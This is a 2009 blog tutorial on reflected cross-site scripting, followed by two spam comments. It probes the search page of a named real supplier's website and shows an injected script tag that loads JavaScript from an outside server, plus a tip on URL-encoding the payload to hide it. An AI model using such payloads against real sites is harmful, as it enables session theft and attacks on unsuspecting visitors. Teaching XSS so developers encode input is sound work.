This site is soon to be deprecated by

Sunday, May 3, 2009

XSS 101 -

The target of my first post will be, the website of international chemical supplier Sigma-Aldrich. First take a look at the website itself and look for an input whose data may be displayed on the page after postback.

Fortunately for us, has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string:

After searching for the string, view the source of the results page and search for testA within the code. The first result should look like the javascript below.

cmCreatePageviewTag("Result Page: Product Results","SS6", "Keyword (fulltext)|testA.,:;\'"<>()[]{}|", "2");

Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.

That Match Your Search for "testA.,:;\'"<>()[]{}"

We're still free of encoding, and with this instance of the search string we can easily inject an HTML script tag referencing a javascript file on another server. Our script, for the sake of testing purposes, only contains an alert. The code that will be injected is shown below.

<script type='text/javascript' src=''></script>

Note that the address in this sample doesn't actually point to anything; you'll need to replace it with your own.

Next, in the URL of the results page we replace the search string with the code we want to inject. The result should look like this:<script type='text/javascript' src=''></script>

When we navigate to this URL, an alert should pop up letting us know that our off site code has been successfully run.

To better hide the payload and enhance browser compatibility we can URL encode the javascript resulting in a link that would look similar to this:

And that's it. XSS is a simple, powerful reminder to properly encode all user entered data.


  1. Beer is made by brewing. The essential stages of brewing are mashing, sparging, boiling, fermentation, and packaging. Most of these stages can be accomplished in several different ways, but the purpose of each stage is the same regardless of the method used to achieve it.

    custom seat covers
    Nashville lofts

  2. it is very nice article thanks for sharing this article to us , it is very nice article ,
    i really like like this article because i got good info about this article thanks for sharing this article to us best regards.
    sap netweaver online training